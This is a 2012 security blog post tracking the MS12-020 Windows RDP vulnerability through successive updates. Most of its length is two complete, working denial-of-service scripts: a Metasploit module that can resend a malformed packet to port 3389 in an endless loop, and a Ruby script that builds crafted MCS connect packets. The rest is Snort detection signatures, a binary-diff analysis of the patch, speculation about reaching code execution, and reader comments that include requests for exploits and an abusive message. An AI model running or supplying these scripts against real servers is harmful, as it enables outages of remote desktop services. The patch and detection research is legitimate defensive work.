BinaryNinjas

MS12-020 BinaryDiff

by on Mar.13, 2012, under Uncategorized

UPDATE8:

An unverified Chinese mass DoS tool appears with a GUI… virustotal says trojan.

UPDATE7:

Metasploit module has been released, still no RCE this is just the denial of service PoC re implemented as a metasploit module.

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft RDP DOS MS12-020',

      'Description'    => %q{'Micorsoft RDP service is vulnerable to a DOS on sending a malformed packet.'},
      'Author'          =>
        [
          'unknown',
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'CVE', '2012-0002' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/03/13/cve-2012-0002-a-closer-look-at-ms12-020-s-critical-issue.aspx' ]
        ],
      'DisclosureDate' => 'March 15 2012'
    ))

    register_options(
      [
        Opt::RPORT(3389),
        OptInt.new('COUNT', [ true, "Send Packet this many times. 0 for infinite loop.", 0]),
        OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 0])
      ])
  end

  def run
    count = datastore['COUNT']
    snore = datastore['SLEEP']
    times = 1

    if count == 0
      count = 1
      infinite = true
    end

    while count >= 1 do
      buf=""
      buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00"
      buf+="\x00\x00\x00\x01\x00\x08\x00\x00"
      buf+="\x00\x00\x00\x03\x00\x01\xd6\x02"
      buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04"
      buf+="\x01\x01\x04\x01\x01\x01\x01\xff"
      buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
      buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
      buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
      buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
      buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
      buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
      buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
      buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
      buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
      buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
      buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
      buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
      buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
      buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
      buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
      buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
      buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
      buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
      buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
      buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
      buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
      buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
      buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
      buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
      buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
      buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
      buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
      buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
      buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x04\x01\x00\x01\x00\x03\x00\x00"
      buf+="\x08\x02\xf0\x80\x28\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x38\x00\x06\x03\xeb\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x38\x00\x06\x03\xed\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00"
      buf+="\x00\x12\x34\x00"

      begin
        connect
        sock.put(buf)
        print_status("Sending packet #{times}, size: #{buf.length} ...")
        disconnect
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
        print_status("Connection refused. Someone may have clicked 'Close the program'")
      end

      if infinite
        select(nil, nil, nil, snore)
        times += 1
      else
        select(nil, nil, nil, snore) if count > 1
        count -= 1
        times += 1
      end

    end
  end
end

UPDATE6:

What an amazing weekend it’s been.  No (public) RCE for ms12-020 yet but Kostya Kortchinsky (of Immunity?) says he has control of EAX and that’s important.  One of the problems that has been in the back of my mind is that even after EIP is under control, we’re going to need to get our shellcode in somewhere.  If this screenshot is real (and I have no reason to doubt that it is – crypt0ad has no reason to muddy his name) we know thats possible… it’s also the only real tangible step toward RCE that I’ve seen this weekend.  It’s mostly been a lot of time spent understanding where the patch is, where corruption occurs, and where the crash happens.  As it turns out the distance between memory corruption and the crash is quite a few function calls… add to that there is a timing issue… multiple channels are required and then, finally, when the connection is closed we get a double free.  Here is the screenshot.

*too bad we don’t see a CALL [EAX+4] ;)

Also, here are a couple of (untested by me) SNORT signatures for jducks PoC.  These were done by Bughira

alert tcp any any -&gt; $HOME_NET 3389 (msg:”Potential MS12-020 RDP DoS attempt – MaximumParatmers”; flow:to_server,established; content:”|03 00|”; depth:2; content:”|7f 65 82 01 94|”; distance:24; within:5; content:”|30 19|”; distance:9; within:2; content:”|30 19|”; distance:25; within:2;content:”|30 1c|”; distance:25; within:2; byte_test:1,=,255,2,relative;  reference:cve,2012-0002; classtype:attempted-dos; sid:1000031; rev:1;)
alert tcp any any -&gt; $HOME_NET 3389 (msg:”Potential MS12-020 RDP DoS attempt – MaximumParatmers”; flow:to_server,established; content:”|03 00|”; offset:0; depth:2;content:”|7f 65 82 01 94|”;distance:24;within:5;byte_jump:1,10,relative;byte_jump:1,1,relative;byte_test:1,=,255,4,relative; reference:cve,2012-0002; classtype:attempted-dos; sid:1000026;rev:1;priority:1;)


UPDATE5: 

This is the “Chinese” screen shot of the supposed working Remote Code Execution bug against RDP actually working.  Of course, this could be a bunch of printf()’s but if they really did have the PoC in November its quite likely they have RCE.  Things I like about it that would make it better than your average hoax … a large initial packet of 131091 bytes suggests a heap spray… followed by a another large packet of 65k (GCC User Data struct max size?).. followed by a small packet that probably triggers NM_Disconnect… which (possibly) triggers multiple calls to _NMDetachUserReq… which eventually calls DetachUser(x, x, x, x)… which calls _SListRemove… which is right about where we are currently seeing PoC’s crash targets.   What we’re not doing in our PoC’s yet is

[1] Understanding which ptr we need to control
[2] Understanding how and what to spray (errr, sculpt, sorry jduck) to control said ptr. (My money is on GCC User Data struct)


UPDATE4: Luigi weighs in on the MAPP exploit leak  <— The plot thickens!
UPDATE3
: Luigi’s Advisory and the dat file (packet contents)

There is an use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of the provided proof-of-concept) when set to a value minor/equal than 5.

The problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer

 

UPDATE2: This PoC is not a fake.  It is currently only causing a crash — no remote code execution but a great starting point.  This PoC was written by jduck (Joshua J. Drake) of Accuvant. He has a website, and twitter account and he is not me.  I say this not because I don’t trust the PoC (I do – its been tested)… I say this because people are referencing this PoC as “The BinaryNinjas PoC” and that would be really shitty to read if you’re jduck.

#!/usr/bin/env ruby
#
# ms12-020 PoC attempt
#
# NOTE: This was crafted based on a legit connection packet capture and reversing
# a packet capture of the the chinese PoC.
#
# by Joshua J. Drake (jduck)
#

require 'socket'

def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end

def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end

def make_x224(data)
  [ data.length ].pack('C') + data
end

def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end

host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)

pkts1 << make_tpkt(x224_1)

# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))

# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x01\x22"+  # maxChannelIds
  "\x02\x01\x0a"+  # maxUserIds
  "\x02\x01\x00"+  # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion
min_params = ""+
  "\x02\x01\x01"+  # maxChannelIds
  "\x02\x01\x01"+  # maxUserIds
  "\x02\x01\x01"+  # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds
  "\x02\x02\xfc\x17"+          # maxUserIds
  "\x02\x02\xff\xff"+          # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion

userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)

mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  "\x30" + [ target_params.length ].pack('C') + target_params +
  "\x30" + [ min_params.length ].pack('C') + min_params +
  "\x30" + [ max_params.length ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata

mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)

# send a special one?
#pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")

# send more pkts! - based on poc
8.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}

#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")

pkts1 << make_tpkt(x224_2 + "\x21\x80")

bigpkt = pkts1.join('')

20.times { |x|
  puts "[*] Sending #{x + 1} ..."
  sd.write(bigpkt)

  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")

  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}

sd.close

UPDATE1: This PoC floating around is a fake/joke.

Updates will roll in slowly as I get time…

The patch, MS12-020, supersedes MS11-065 on Windows  XP and Server 2k3.  That makes things nice and tidy for anyone looking at reversing the patch.  We can look at the updated files here

We’re interested in the Windows XP x86 based binary:

Rdpwd.sys 5.1.2600.6187

The files are located in C:\Windows\System32\drivers for both Windows XP and Server 2003.  When Diffing make sure you’re using the most recent binary prior to the patch, in this case its MS11-065.

matched functions: 8

[.]
000257f0 FastMoveEncoderWindows(tagRDP_Compress_SendConte –
00025800 FastMoveEncoderWindows(tagRDP_Compress_SendConte
[.]
00025910 AddNodesToHash(tagRDP_Compress_SendContext *,uch –
00025920 AddNodesToHash(tagRDP_Compress_SendContext *,uch
[.]
00025960 FindBestMatch(tagRDP_Compress_SendContext *,usho –
00025970 FindBestMatch(tagRDP_Compress_SendContext *,usho
[.]
00025ae0 RDPCompressNCrush(ulong,uchar *,uchar *,ulong *, –
00025af0 RDPCompressNCrush(ulong,uchar *,uchar *,ulong *,

[.]
000261e0 RDPCompress_InitSendContextNCrush(void *,ulong,u –
000261f0 RDPCompress_InitSendContextNCrush(void *,ulong,u
[*]
000151b0 NM_Disconnect(x) –

000151b0 NM_Disconnect(x)
[*]
000156cc NMAbortConnect(x) –
000156d2 NMAbortConnect(x)
[*]
0002b5d0 MCSChannelJoinRequest(x,x,x,x) –
0002b5e0 MCSChannelJoinRequest(x,x,x,x)
————————————————————-
unmatched functions1: 0
————————————————————-
unmatched functions2: 0
————————————————————-
changed functions: 2
[.]
0002cb30 HandleAttachUserReq(x,x,x,x) – [.]
0002cb44 HandleAttachUserReq(x,x,x,x)
[.]
00020010 sub_20010 –
00020010 nullsub_1
————————————————————-
————————————————————-

So the import change above, not in the red box actually, is the call to ExFreePoolWithTag. It seems this missing free would allow a remote unauthenticated user to consume resources.  So, this is the patch for CVE-2012-0152 …..boooorrrring.

We want memory corruption!  I’m diggin through the rest of the changes… they are subtle and I don’t see where memory corruption could occur yet.  I’ve diffed rdpcore.dll on Windows 7 and there are some obvious code changes to functions that can be hit pre-authentication… one even looks obviously memory corruption related… what’s bugging me is that MS12-020 clearly states that XP SP2 has an RCE fix in this patch.

<snip>

Affected Software

Operating System Maximum Security Impact Aggregate Severity Rating Bulletins Replaced by this Update
Windows XP Service Pack 3
(KB2621440)
Remote Code Execution Critical MS11-065
Windows XP Professional x64 Edition Service Pack 2
(KB2621440)
Remote Code Execution Critical MS11-065

<snip>

So if XP SP 2 has an RCE… and Rdpwd.sys is the only changed file… am I missing something here?  Is the advisory *gasp* misleading?

UPDATE: Cool, http://exploitshop.files.wordpress.com is also doing some analysis… an analyzing GCCUserData might be the way to start looking at RCE.  If thats the case:
<snip>

The TS_UD_CS_SEC data block contains security-related information used to advertise client cryptographic support. This information is only relevant when Standard RDP Security mechanisms (section 5.3) will be used. See sections 3 and 5.3.2 for a detailed discussion of how this information is used.

0 1 2 3 4 5 6 7 8 9 1
0
1 2 3 4 5 6 7 8 9 2
0
1 2 3 4 5 6 7 8 9 3
0
1
header
encryptionMethods
extEncryptionMethods
header (4 bytes): GCC user data block header as described in User Data Header (section 2.2.1.3.1). The User Data Header type field MUST be set to CS_SECURITY (0xC002).
encryptionMethods (4 bytes): A 32-bit, unsigned integer. Cryptographic encryption methods supported by the client and used in conjunction with Standard RDP Security The server MUST select one of these methods. Section 5.3.2 describes how the client and server negotiate the security parameters for a given connection.
Flag Meaning
40BIT_ENCRYPTION_FLAG
0x00000001
40-bit session keys MUST be used to encrypt data (with RC4) and generate Message Authentication Codes (MAC).
128BIT_ENCRYPTION_FLAG
0x00000002
128-bit session keys MUST be used to encrypt data (with RC4) and generate MACs.
56BIT_ENCRYPTION_FLAG
0x00000008
56-bit session keys MUST be used to encrypt data (with RC4) and generate MACs.
FIPS_ENCRYPTION_FLAG
0x00000010
All encryption and Message Authentication Code generation routines MUST be Federal Information Processing Standard (FIPS) 140-1 compliant.
extEncryptionMethods (4 bytes): A 32-bit, unsigned integer. This field is used exclusively for the French locale. In French locale clients, encryptionMethods MUST be set to 0 and extEncryptionMethods MUST be set to the value to which encryptionMethods would have been set. For non-French locale clients, this field MUST be set to 0.<snip>

The whole connection sequence is quite well documented here.

 

 


18 Comments for this entry

  • Alex Ionescu

    So looks like part of the patch — the DoS fix — was a missing pool free. Weird that their tools didn’t catch this during testing (Driver Verifier would bug check the machine, normally).

    What was the fix for the RCE?

    • dyngnosis

      Agreed, very strange. I thought that the code changes to rdpcore.dll on Win7 was a silent fix for some other memory corruption issue not mentioned in the patch… but its looking more and more like XP isn’t vuln to remote code execution. :(

      There are a few other subtle changes in the sys file but I can’t see how they would lead to memory corruption. I suppose its time to fire up BinNavi and get some context.

  • Mario Vilas

    Maybe the XP patch is not worth diffing, that seems to be the only change. The Windows 7 patch contains a lot of files, that seems to be the ticket.

    • dyngnosis

      The Win7 patch contains some obvious memory corruption issues in rdpcore.dll …what is bugging me is that the advisory clearly states this is RCE for Windows XP.

  • China菜鸟

    有没有ms12-020利用工具和代码?
    There is no ms12-020 using tools and code?

  • rootsir

    i want an exploit ,will you give me one? thank you. returnok(###)gmail.com ### -> @

  • 3xploit

    I can’t find a way to force rdp using this function in rdpcore.dll .
    Do you know how to reach rdpcore.dll?

  • K

    There’s a (paid) IDS definition for this called “ETPRO EXPLOIT Microsoft RDP Server targetParams Exploit Attempt” by the vendor. Microsoft have shared the vuln details in private with the vendor. In particular, the “targetParams” reference is interesting. I think it might be in MCS_CONNECT_INITIAL.

  • secgeek

    it seems that there is a python exploit available[not tested], it is using python freerdp module which no one is able to find. check the exploit here:
    http://blog.wirhabenstil.de/?p=143
    not sure if its true of fake. it should give some details. basically its in the call 0x1f
    thanks,
    secgeek

    • dyngnosis

      This exploit is fake… if MS12-020 wasn’t so much fun we would take it apart and show you why. That may be a fun follow up post next week :)

      Thanks for pointing it out though!

  • AdamD

    Ahahahahaha…. “Exploit by Sabu”.
    “Mar 13th, 2012″. Where from? His jail cell or under his bed?

    No s**t it’s a joke/fake.

  • Dave

    I really hope you make a “break apart” on the fake Python PoC of the MS12-020, would be really interesting and educational :D

    Peace,
    P.S — Loving the blog, keep up the good work.

  • c0nnect3d

    Hey, thanks for trying it. I am taking this script for testing purpose … Let’s see how it goes !!!

    You are another genius!!!

    c0nnect3d
    http://c0nnect3d.blogspot.com

  • nobody

    for xp there Ernesto be no remote exploit only dos
    see http://isc.sans.edu/
    you can probably find one but it seems not via ms12-020
    remote code is only w7 ?
    as you expected misleading advisory
    have fun

  • Dave

    I just wanted to ask, why there are so many null bytes in the code “\x00\x00\x00\x00″. I thought null’s weren’t allowed to be in shellcode/payloads or it would cancel it out?

  • mohamed ramadan

    thanks for this great article , i really enjoyed read it and waiting for next updates

    you can also find this small and clean python script that exploit this dos exploit ( Not Yet RCE )

    http://pastebin.com/raw.php?i=WYx9kRQ6

    best regards

  • Meta Olenius

    I’m very happy to read this. This is the type of manual that needs to be given and not the accidental misinformation that is at the other blogs. Appreciate your sharing this best doc.

  • Helen

    fuyckyou 我是中国黑客Helen
    看不懂中文了吧? 别去谷歌翻译了 中文也是你能翻译出来的么?
    草拟大爷 记住我就是你爷爷Helen

10 Trackbacks / Pingbacks for this entry

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Blogroll

A few highly recommended websites...

Archives

All entries, chronologically...